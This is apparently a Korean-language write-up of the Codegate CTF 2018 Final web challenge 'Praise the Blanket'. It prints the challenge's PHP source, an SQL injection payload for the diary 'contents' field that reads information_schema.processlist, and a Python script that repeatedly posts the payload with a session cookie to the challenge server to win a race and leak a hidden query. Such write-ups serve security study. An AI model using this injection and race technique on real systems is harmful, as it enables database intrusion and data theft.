Codegate CTF 2018 Final - Praise the Blanket (Web)

일단 문제에 들어가보면 불을 끄라는 doge가 맞이해준다.

이때 소스를 봐보면 secret 페이지를 찾을 수 있었다. (http://110.10.147.36/?p=secret)

소스를 참고해서 show파라미터를 1로 주면 php소스가 출력된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
if(isset($_GET['show']))
die(highlight_file(__FILE__));
include 'filter.php'; # Filtering rules
if(!login_check())
die("Login First");
if(!(isset($_GET['C']) && isset($_GET['T']) && isset($_GET['F'])))
echo "If you are regular member, you have 3 passwords that we gave to you.<br>";
foreach($_GET as $key=>$value)
{
if(preg_match($patt,$value))
die("Hacking detected");
}
echo "<!-- Column -->C : {$_GET['C']}<br>
<!-- Table -->T : {$_GET['T']}<br>
<!-- Flag -->F : {$_GET['F']}<br>";

if(!isset($_SESSION['TMP_TABLE']))
{
$RANDOM_TABLE = sha1(mt_rand().uniqid());
$RANDOM_COLUMN = md5(mt_rand().uniqid());
$RANDOM_FLAG = md5(mt_rand().uniqid());
$_SESSION['TMP_TABLE'] = "T_{$_SESSION[$SESSION]}_{$RANDOM_TABLE}";
$_SESSION['TMP_COLUMN'] ="C_{$RANDOM_COLUMN}";
$_SESSION['TMP_FLAG'] = "F_{$RANDOM_FLAG}";
}

$q = "CREATE TEMPORARY TABLE IF NOT EXISTS {$_SESSION['TMP_TABLE']}( SELECT '{$_SESSION['TMP_FLAG']}'`{$_SESSION['TMP_COLUMN']}`)";
mysqli_query($conn,$q);
if(strlen($_GET['C']) != 32 || strlen($_GET['T']) != 40 || strlen($_GET['F']) != 32)
die("Something wrong..");
$q2 = "select C_{$_GET['C']} from T_{$_SESSION[$SESSION]}_{$_GET['T']}";
$row = mysqli_fetch_array(mysqli_query($conn,$q2));

if($row != "")
{
$col_name = 'C_'.$_GET['C'];
if($row[$col_name] === "F_".$_GET['F'])
{
$flag = file_get_contents("../F14G");
die($flag);
}
}
die("Access denied");
?>

일단 소스를 보았을 때, CT에 무슨 값을 넣어도 에러 때문에 인젝션이 여기서는 불가능하다고 판단했다.

로그인을 해보면 diary메뉴가 있는데 거기를 보기로 했다.

titlecontents중에서 contents에서 SQL injection을 할 수 있었다.

query : asdf'), ('result', 'kimtruth',(select group_concat(info) from information_schema.processlist where info NOT LIKE '%INSERT%'))#

information_schema.processlist에는 현재 실행중인 query의 내용을 가져올 수 있는데 race condition을 만들어서 secret페이지에 있었던 CREATE TEMPORARY하는 쿼리의 내용을 들고올 수 있다.

injection.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

last_no = 9370
data = {'title': 'asdf',
'contents': "asdf'), ('result', 'kimtruth',(select group_concat(info) from information_schema.processlist where info NOT LIKE '%INSERT%'))#"}

headers = {'Cookie': 'PHPSESSID=k573bkkp3ce7p51rddt89l9jo4'}

while True:
last_no += 2

r = requests.post('http://110.10.147.36/write_ok.php', data=data, headers=headers)
print r.text
r = requests.get('http://110.10.147.36/?p=read&no=' + str(last_no), headers=headers)
if 'TEMPORARY' in r.text:
print r.text
break

injection.py를 실행한 상태로 secret페이지에서 새로고침을 막 해주면 다음과 같이 query를 들고올 수 있다.

그 값을 토대로 문제를 풀면 flag가 나오게 된다.

Share